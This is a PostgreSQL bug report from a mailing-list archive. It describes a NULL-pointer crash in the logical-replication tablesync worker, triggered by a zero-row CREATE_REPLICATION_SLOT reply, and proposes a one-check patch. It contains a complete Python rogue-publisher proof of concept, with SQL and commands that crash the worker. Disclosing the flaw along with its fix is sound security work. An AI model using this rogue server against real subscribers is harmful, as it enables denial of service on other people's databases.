public inbox for [email protected]
help / color / mirror / Atom feedFrom: PG Bug reporting form <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: BUG #19547: `libpqrcv_create_slot` dereferences NULL on a malformed `CREATE_REPLICATION_SLOT` reply (just a sugg
Date: Wed, 08 Jul 2026 12:15:06 +0000
Message-ID: <[email protected]> (raw)
The following bug has been logged on the website:
Bug reference: 19547
Logged by: Yuelin Wang
Email address: [email protected]
PostgreSQL version: 19beta1
Operating system: Linux (Ubuntu 24.04, x86_64)
Description:
### Summary
`libpqrcv_create_slot()` checks only the result *status* (`PGRES_TUPLES_OK`)
and then reads `PQgetvalue(res, 0, 1)` without validating `PQntuples()` or
`PQnfields()`. A server that replies `TUPLES_OK` with zero rows therefore
passes `NULL` into `pg_lsn_in`, which runs `strspn(NULL, ...)` and takes a
SIGSEGV that crashes the logical-replication tablesync worker. That worker
is reachable via `CREATE SUBSCRIPTION ... copy_data=true`
(`tablesync.c:1423`, where `lsn` is non-NULL). Every sibling result-consumer
in the file validates result shape first, so this lone exception is worth
making consistent. It is a hardening fix rather than a security fix. A
subscriber crashing because the server it *chose to trust* sent garbage does
not cross a PostgreSQL trust boundary, and the impact is a NULL-page DoS on
one worker with no corruption, disclosure, or code execution.
### Proof of Concept
The PoC has three parts. `vuln_001_proto.py` is a rogue "publisher" that
hand-speaks the libpq v3 wire protocol. It completes the replication
handshake and answers every command just enough to walk the subscriber's
apply and tablesync workers forward, but it answers
`CREATE_REPLICATION_SLOT` with a `RowDescription` of four columns followed
immediately by `CommandComplete` and **no** `DataRow`, i.e. a
`PGRES_TUPLES_OK` result with zero rows. `vuln_001.sql` creates a local
table and a subscription pointed at that rogue publisher with
`copy_data=true`, which forces the tablesync-worker path. `vuln_001_run.sh`
starts the publisher, issues the SQL, waits for the tablesync worker to
reach `CREATE_REPLICATION_SLOT`, then cleans up.
**`vuln_001_proto.py`** (rogue publisher / fake walsender):
```python
#!/usr/bin/env python3
import socket
import struct
import sys
import threading
import time
PORT = 39901
HOST = "127.0.0.1"
SSL_CODE = 80877103
GSS_CODE = 80877104
PROTO_V3 = 196608
TEXTOID = 25
INT4OID = 23
def log(msg):
sys.stderr.write("[proto] %s\n" % msg)
sys.stderr.flush()
def be_msg(tag, payload):
return tag + struct.pack("!I", len(payload) + 4) + payload
def field_desc(name, typoid, typlen, typmod=-1):
return (
name.encode() + b"\x00"
+ struct.pack("!i", 0)
+ struct.pack("!h", 0)
+ struct.pack("!i", typoid)
+ struct.pack("!h", typlen)
+ struct.pack("!i", typmod)
+ struct.pack("!h", 0)
)
def row_description(fields):
payload = struct.pack("!H", len(fields))
for (name, typoid, typlen) in fields:
payload += field_desc(name, typoid, typlen)
return be_msg(b"T", payload)
def data_row(values):
payload = struct.pack("!H", len(values))
for v in values:
if v is None:
payload += struct.pack("!i", -1)
else:
b = v.encode() if isinstance(v, str) else v
payload += struct.pack("!i", len(b)) + b
return be_msg(b"D", payload)
def command_complete(tag):
return be_msg(b"C", tag.encode() + b"\x00")
def ready_for_query():
return be_msg(b"Z", b"I")
def error_response(message):
payload = b"S" + b"ERROR\x00" + b"C" + b"XX000\x00" + b"M" +
message.encode() + b"\x00" + b"\x00"
return be_msg(b"E", payload)
def copy_both_response():
return be_msg(b"W", struct.pack("!B", 0) + struct.pack("!H", 0))
def recv_exact(sock, n):
buf = b""
while len(buf) < n:
chunk = sock.recv(n - len(buf))
if not chunk:
return None
buf += chunk
return buf
def read_startup(sock):
while True:
hdr = recv_exact(sock, 4)
if hdr is None:
return None
length = struct.unpack("!I", hdr)[0]
log("startup hdr=%s length=%d" % (hdr.hex(), length))
if length < 8 or length > 100000:
log("bad startup length %d" % length)
return None
body = recv_exact(sock, length - 4)
if body is None:
return None
code = struct.unpack("!I", body[:4])[0]
log("startup code=%d (0x%08x) body_head=%s" % (code, code,
body[:32].hex()))
if code in (SSL_CODE, GSS_CODE):
sock.sendall(b"N")
continue
if (code >> 16) == 3:
params = body[4:]
return params
log("unexpected startup code %d" % code)
return None
def parse_params(params):
parts = params.split(b"\x00")
out = {}
i = 0
while i + 1 < len(parts):
k = parts[i]
v = parts[i + 1]
if k == b"":
break
out[k.decode(errors="replace")] = v.decode(errors="replace")
i += 2
return out
def negotiate_protocol_version(params):
kv = parse_params(params)
unrecognized = [k for k in kv if k.startswith("_pq_.")]
payload = struct.pack("!i", PROTO_V3)
payload += struct.pack("!i", len(unrecognized))
for name in unrecognized:
payload += name.encode() + b"\x00"
return be_msg(b"v", payload)
def send_startup_ok(sock, params):
sock.sendall(negotiate_protocol_version(params))
sock.sendall(be_msg(b"R", struct.pack("!I", 0)))
for name, val in [
("server_version", "18.0"),
("server_encoding", "UTF8"),
("client_encoding", "UTF8"),
("standard_conforming_strings", "on"),
("integer_datetimes", "on"),
("DateStyle", "ISO, MDY"),
]:
sock.sendall(be_msg(b"S", name.encode() + b"\x00" + val.encode() +
b"\x00"))
sock.sendall(be_msg(b"K", struct.pack("!II", 4242, 4242)))
sock.sendall(ready_for_query())
def handle_query(sock, q, cid):
qu = q.upper()
log("conn#%d QUERY: %s" % (cid, q.strip()[:200]))
if "IDENTIFY_SYSTEM" in qu:
fields = [
("systemid", TEXTOID, -1),
("timeline", INT4OID, 4),
("xlogpos", TEXTOID, -1),
("dbname", TEXTOID, -1),
]
sock.sendall(row_description(fields))
sock.sendall(data_row(["7000000000000000000", "1", "0/1500000",
"postgres"]))
sock.sendall(command_complete("IDENTIFY_SYSTEM"))
sock.sendall(ready_for_query())
return True
if "CREATE_REPLICATION_SLOT" in qu:
fields = [
("slot_name", TEXTOID, -1),
("consistent_point", TEXTOID, -1),
("snapshot_name", TEXTOID, -1),
("output_plugin", TEXTOID, -1),
]
sock.sendall(row_description(fields))
sock.sendall(command_complete("CREATE_REPLICATION_SLOT"))
sock.sendall(ready_for_query())
log("conn#%d -> sent 0-row CREATE_REPLICATION_SLOT reply (trigger)"
% cid)
return True
if "START_REPLICATION" in qu:
sock.sendall(copy_both_response())
log("conn#%d -> START_REPLICATION: entered CopyBoth" % cid)
return "copyboth"
if "PG_GET_PUBLICATION_TABLES" in qu or "NSPNAME" in qu:
fields = [
("nspname", TEXTOID, -1),
("relname", TEXTOID, -1),
("relkind", 18, 1),
("attrs", 22, -1),
]
sock.sendall(row_description(fields))
sock.sendall(data_row(["public", "vuln_001_t", "r", None]))
sock.sendall(command_complete("SELECT 1"))
sock.sendall(ready_for_query())
return True
if "PG_PUBLICATION" in qu and "PUBNAME" in qu:
sock.sendall(row_description([("pubname", TEXTOID, -1)]))
sock.sendall(data_row(["vuln_001_pub"]))
sock.sendall(command_complete("SELECT 1"))
sock.sendall(ready_for_query())
return True
if qu.lstrip().startswith("BEGIN") or "ISOLATION LEVEL" in qu:
sock.sendall(command_complete("BEGIN"))
sock.sendall(ready_for_query())
return True
if "SELECT" in qu:
sock.sendall(row_description([("col", TEXTOID, -1)]))
sock.sendall(data_row([""]))
sock.sendall(command_complete("SELECT 1"))
sock.sendall(ready_for_query())
return True
sock.sendall(command_complete("OK"))
sock.sendall(ready_for_query())
return True
CONN_ID = 0
CONN_LOCK = threading.Lock()
def handle_conn(sock, addr):
global CONN_ID
with CONN_LOCK:
CONN_ID += 1
cid = CONN_ID
log("conn#%d accepted from %s" % (cid, addr))
try:
sock.settimeout(30)
params = read_startup(sock)
if params is None:
log("conn#%d startup failed" % cid)
return
send_startup_ok(sock, params)
in_copy = False
while True:
hdr = recv_exact(sock, 5)
if hdr is None:
break
tag = hdr[:1]
length = struct.unpack("!I", hdr[1:5])[0]
payload = recv_exact(sock, length - 4) if length > 4 else b""
if payload is None:
break
if tag == b"Q":
qstr = payload.split(b"\x00", 1)[0].decode(errors="replace")
r = handle_query(sock, qstr, cid)
if r == "copyboth":
in_copy = True
elif tag == b"X":
log("conn#%d Terminate" % cid)
break
elif tag in (b"d", b"c", b"f"):
pass
else:
pass
except Exception as e:
log("conn#%d error: %r" % (cid, e))
finally:
try:
sock.close()
except Exception:
pass
log("conn#%d closed" % cid)
def main():
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind((HOST, PORT))
srv.listen(16)
log("listening on %s:%d" % (HOST, PORT))
try:
while True:
sock, addr = srv.accept()
t = threading.Thread(target=handle_conn, args=(sock, addr),
daemon=True)
t.start()
except KeyboardInterrupt:
pass
finally:
srv.close()
if __name__ == "__main__":
main()
```
**`vuln_001.sql`** (subscriber side):
```sql
ALTER SUBSCRIPTION vuln_001_sub DISABLE;
ALTER SUBSCRIPTION vuln_001_sub SET (slot_name = NONE);
DROP SUBSCRIPTION IF EXISTS vuln_001_sub;
DROP TABLE IF EXISTS vuln_001_t;
CREATE TABLE vuln_001_t (id int);
CREATE SUBSCRIPTION vuln_001_sub
CONNECTION 'host=127.0.0.1 port=39901 dbname=postgres user=x
sslmode=disable connect_timeout=5'
PUBLICATION vuln_001_pub
WITH (copy_data = true, connect = true, create_slot = true, enabled =
true);
SELECT 'CREATE SUBSCRIPTION issued' AS status;
```
**How to run**: start the rogue publisher, then issue the SQL against the
live subscriber. The crash lands in the background tablesync worker a few
seconds later, so the `psql` call itself returns normally.
```bash
python3 vuln_001_proto.py &
psql -h /tmp -p 36901 -U ylwang -d postgres -f vuln_001.sql
```
### Result
ASan caught a SEGV (NULL read, `rdi = 0x0`) with exactly the predicted
stack. The server log shows the libpq notice `row number 0 is out of range
0..-1`, and the worker crash-looped 8 times until the subscription was
dropped:
```
AddressSanitizer: SEGV on unknown address 0x000000000000
#0 strspn (libc)
#1 pg_lsn_in_safe pg_lsn.c:41
#2 pg_lsn_in pg_lsn.c:69
#3 DirectFunctionCall1Coll
#4 libpqrcv_create_slot libpqwalreceiver.c:1004
#5 LogicalRepSyncTableStart tablesync.c:1423
```
### Fix
Add the same result-shape validation the sibling functions perform, before
touching the fields:
```diff
if (PQresultStatus(res) != PGRES_TUPLES_OK)
ereport(ERROR,
(errcode(ERRCODE_PROTOCOL_VIOLATION),
errmsg("could not create replication slot \"%s\": %s",
slotname,
pchomp(PQerrorMessage(conn->streamConn)))));
+
+ if (PQntuples(res) != 1 || PQnfields(res) < 4)
+ ereport(ERROR,
+ (errcode(ERRCODE_PROTOCOL_VIOLATION),
+ errmsg("invalid response from primary server"),
+ errdetail("Could not create replication slot \"%s\": got
%d rows and %d fields, expected %d rows and %d or more fields.",
+ slotname, PQntuples(res), PQnfields(res), 1,
4)));
```
One check, no header or ABI change, no behavioral change against a
well-behaved primary (which always returns 1 row × 4 columns).
reply
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Reply to all the recipients using the --to and --cc options:
reply via email
To: [email protected]
Cc: [email protected], [email protected], [email protected]
Subject: Re: BUG #19547: `libpqrcv_create_slot` dereferences NULL on a malformed `CREATE_REPLICATION_SLOT` reply (just a sugg
In-Reply-To: <[email protected]>
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
This inbox is served by agora; see mirroring instructions
for how to clone and mirror all data and code used for this inbox